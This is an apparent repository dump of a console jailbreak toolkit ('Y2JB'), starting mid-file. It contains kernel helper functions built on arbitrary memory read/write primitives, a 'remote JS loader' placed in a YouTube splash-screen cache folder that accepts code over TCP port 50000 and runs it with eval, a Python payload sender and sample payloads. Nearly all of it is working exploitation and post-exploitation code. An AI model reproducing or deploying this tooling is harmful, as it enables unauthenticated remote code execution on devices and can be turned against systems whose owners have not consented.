}

function dlsym(handle, sym) {
    check_jailbroken();

    if (typeof sym !== "string") {
        throw new Error("dlsym expect string symbol name");
    }

    const sym_addr = alloc_string(sym);
    const addr_out = malloc(0x8n);

    const result = call(SCE_KERNEL_DLSYM, handle, sym_addr, addr_out);
    if (result === 0xffffffffffffffffn) {
        throw new Error("dlsym error");
    }

    return read64(addr_out);
}

function get_title_id() {
    const sceKernelGetAppInfo = dlsym(LIBKERNEL_HANDLE, "sceKernelGetAppInfo");
    const pid = syscall(SYSCALL.getpid);

    const app_info = malloc(0x100n);
    const result = call(sceKernelGetAppInfo, pid, app_info);
    if (result !== 0n) {
        throw new Error("sceKernelGetAppInfo error: " + hex(result));
    }

    return read_null_terminated_string(app_info + 0x10n);
}

function find_mod_by_name(name) {
    const sceKernelGetModuleListInternal = dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleListInternal");
    const sceKernelGetModuleInfo = dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleInfo");

    const mem = malloc(4n * 0x300n);
    const actual_num = malloc(0x8n);

    call(sceKernelGetModuleListInternal, mem, 0x300n, actual_num);

    const num = read64(actual_num);
    for (let i = 0n; i < num; i++) {
        const handle = read32(mem + i * 4n);
        const info = malloc(0x160n);
        write64(info, 0x160n);

        call(sceKernelGetModuleInfo, handle, info);

        const mod_name = read_null_terminated_string(info + 0x8n);
        if (name === mod_name) {
            const base_addr = read64(info + 0x108n);
            return {
                handle: handle,
                base_addr: base_addr,
            };
        }
    }

    return null;
}


function file_exists(path) {
    const path_addr = alloc_string(path);
    const fd = syscall(SYSCALL.open, path_addr, O_RDONLY);
    
    if (fd !== 0xffffffffffffffffn) {
        syscall(SYSCALL.close, fd);
        return true;
    } else {
        return false;
    }
}

function write_file(path, text) {
    const mode = 0x1ffn; // 777
    const path_addr = alloc_string(path);
    const data_addr = alloc_string(text);

    const flags = O_CREAT | O_WRONLY | O_TRUNC;
    const fd = syscall(SYSCALL.open, path_addr, flags, mode);

    if (fd === 0xffffffffffffffffn) {
        throw new Error("open failed for " + path + " fd: " + toHex(fd));
    }
    
    const written = syscall(SYSCALL.write, fd, data_addr, BigInt(text.length));
    if (written === 0xffffffffffffffffn) {
        syscall(SYSCALL.close, fd);
        throw new Error("write failed : " + toHex(written));
    }

    syscall(SYSCALL.close, fd);
    return Number(written); // number of bytes written
}

function get_nidpath() {
    const path_buffer = malloc(0x255);
    const len_ptr = malloc(8);
    
    write64(len_ptr, 0x255n);
    
    const ret = syscall(SYSCALL.randomized_path, 0n, path_buffer, len_ptr);
    if (ret === 0xffffffffffffffffn) {
        throw new Error("randomized_path failed : " + toHex(ret));        
    }
    
    return read_null_terminated_string(path_buffer);
}


```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/remotejsloader.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/remotejsloader.js" 
(async function() {
    const MAXSIZE = 500 * 1024;

    const sockaddr_in = malloc(16);
    const addrlen = malloc(8);
    const enable = malloc(4);
    const len_ptr = malloc(8);
    const payload_buf = malloc(MAXSIZE);

    function create_socket() {
        // Clear sockaddr
        for (let i = 0; i < 16; i++) write8(sockaddr_in + BigInt(i), 0);

        const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
        if (sock_fd === 0xffffffffffffffffn) {
            throw new Error("Socket creation failed: " + toHex(sock_fd));
        }

        write32(enable, 1);
        syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n);

        write8(sockaddr_in + 1n, AF_INET);
        write16(sockaddr_in + 2n, 0);        // port 0
        write32(sockaddr_in + 4n, 0);        // INADDR_ANY

        const bind_ret = syscall(SYSCALL.bind, sock_fd, sockaddr_in, 16n);
        if (bind_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Bind failed: " + toHex(bind_ret));
        }

        const listen_ret = syscall(SYSCALL.listen, sock_fd, 3n);
        if (listen_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Listen failed: " + toHex(listen_ret));
        }

        return sock_fd;
    }

    function get_port(sock_fd) {
        write32(len_ptr, 16);
        syscall(SYSCALL.getsockname, sock_fd, sockaddr_in, len_ptr);

        const port_be = read16(sockaddr_in + 2n);
        return Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn));
    }

    async function setup_socket_until_port_50000() {
        let sock_fd = null;
        let port = 0;
        let attempts = 0;
        const MAX_ATTEMPTS = 60000;

        let last_sock = null;
        let last_port = 0;

        while (port !== 50000 && attempts < MAX_ATTEMPTS) {
            try {
                sock_fd = create_socket();
            } catch (err) {
                attempts++;
                continue;
            }

            port = get_port(sock_fd);

            last_sock = sock_fd;
            last_port = port;

            if (port !== 50000) {
                syscall(SYSCALL.close, sock_fd);
            }

            attempts++;
        }
        
        if (port !== 50000) {
            if (last_sock !== null) {
                await log("Warning: did not get port 50000 after " + attempts + " attempts; using last assigned port " + last_port);
                return { sock_fd: last_sock, port: last_port };
            } else {
                throw new Error("Failed to create any socket after " + attempts + " attempts");
            }
        }

        return { sock_fd, port };
    }

    async function recreate_socket() {
        const sock_fd = create_socket();
        const port = get_port(sock_fd);

        const current_ip = get_current_ip();
        if (current_ip === null) {
            send_notification("No network available!\nAborting...");
            throw new Error("No network available!\nAborting...");
        }

        const network_str = current_ip + ":" + port;
        await log("Socket recreated on " + network_str);
        send_notification("Remote JS Loader\nListening on " + network_str);

        return { sock_fd, port, network_str };
    }

    // Initial setup (retry until port 50000, but fall back to last random port if attempts exhausted)
    let { sock_fd, port } = await setup_socket_until_port_50000();

    const current_ip = get_current_ip();
    if (current_ip === null) {
        send_notification("No network available!\nAborting...");
        throw new Error("No network available!\nAborting...");
    }

    let network_str = current_ip + ":" + port;
    await log("Remote JS Loader listening on " + network_str);
    send_notification("Remote JS Loader\nListening on " + network_str);

    const decoder = new TextDecoder('utf-8');

    while (true) {
        try {
            await log("Awaiting connection at " + network_str);

            write32(addrlen, 16);
            const client_fd = syscall(SYSCALL.accept, sock_fd, sockaddr_in, addrlen);

            if (client_fd === 0xffffffffffffffffn) {
                await log("accept() failed: " + toHex(client_fd) + " - recreating socket");
                syscall(SYSCALL.close, sock_fd);

                const recreated = await recreate_socket();
                sock_fd = recreated.sock_fd;
                port = recreated.port;
                network_str = recreated.network_str;
                continue;
            }

            await log("Client connected, fd: " + Number(client_fd));

            let total_read = 0;
            let read_error = false;

            while (total_read < MAXSIZE) {
                const bytes_read = syscall(
                    SYSCALL.read,
                    client_fd,
                    payload_buf + BigInt(total_read),
                    BigInt(MAXSIZE - total_read)
                );

                const n = Number(bytes_read);

                if (n === 0) break;
                if (n < 0) {
                    await log("read() error: " + n);
                    read_error = true;
                    break;
                }

                total_read += n;
                await log("Read " + n + " bytes");
            }

            await log("Finished reading, total=" + total_read + " error=" + read_error);

            if (read_error || total_read === 0) {
                await log("No valid data received");
                syscall(SYSCALL.close, client_fd);
                continue;
            }

            const bytes = new Uint8Array(total_read);
            for (let i = 0; i < total_read; i++) {
                bytes[i] = Number(read8(payload_buf + BigInt(i)));
            }

            const js_code = decoder.decode(bytes);

            await log("Executing payload...");
            await eval(js_code);
            await log("Executed successfully");

            syscall(SYSCALL.close, client_fd);
            await log("Connection closed");

        } catch (e) {
            await log("ERROR in accept loop: " + e.message);
            await log(e.stack);
        }
    }
})();
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/splash.html

```html path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/splash.html" 
<!--
 * Copyright (C) 2025 Gezine
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 * -->

<!DOCTYPE html>
<html>
<head>
    <title>Y2JB</title>
    <style>
        body {
            font-family: monospace;
            background: #000;
            color: #fff;
            margin: 0;
            padding: 0;
            overflow: hidden;
        }
        #output div {
            white-space: pre;
        }
    </style>
</head>
<body>
    <script src="main.js"></script>
</body>
</html>
```

## /log_server.py

```py path="/log_server.py" 
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class LogHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # Suppress default HTTP logging
    
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        log_msg = self.rfile.read(length).decode('utf-8')
        print(log_msg, flush=True)
        
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
    
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()

print("Logger listening on port 8080...")
HTTPServer(('0.0.0.0', 8080), LogHandler).serve_forever()
```

## /payload_sender.py

```py path="/payload_sender.py" 
import socket
def send_payload(jar_path, host, port=50000):
    with open(jar_path, 'rb') as f:
        data = f.read()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.sendall(data)
    sock.close()
    print(f"Sent {len(data)} bytes to {host}:{port}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) == 3:
        host = sys.argv[1]
        file_path = sys.argv[2]
        send_payload(file_path, host)
    elif len(sys.argv) == 4:
        host = sys.argv[1]
        port = int(sys.argv[2])
        file_path = sys.argv[3]
        send_payload(file_path, host, port)
    else:
        print("Usage: python payload_sender.py <host> <file>")
        print("       python payload_sender.py <host> <port> <file>")
        print("Examples:")
        print("  python payload_sender.py 192.168.1.100 helloworld.js")
        print("  python payload_sender.py 192.168.1.100 50000 helloworld.js")
        print("  python payload_sender.py 192.168.1.100 9020 payload.bin")
```

## /payloads/helloworld.js

```js path="/payloads/helloworld.js" 
(async () => {
    
    await log("Hello from remote JS!");
    send_notification("Hello from remote JS!");
    
})()
```

## /payloads/setlogserver.js

```js path="/payloads/setlogserver.js" 
(async () => {
    if(version_string === "Y2JB 1.0 by Gezine") {
        
        await log("setlogserver is not supported on Y2JB 1.0");    
        
    } else {
        // Change this to your server
        LOG_SERVER = 'http://192.168.1.180:8080/log';
        
        await log("Setting log server url to " + LOG_SERVER);    
        
        await checkLogServer();
        
        if(NETWORK_LOGGING) {
            await log("Successfully connected with log server");
        } else {
            await log("Failed to connect with log server");
        }
    }
    
})()
```


The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.
Copied!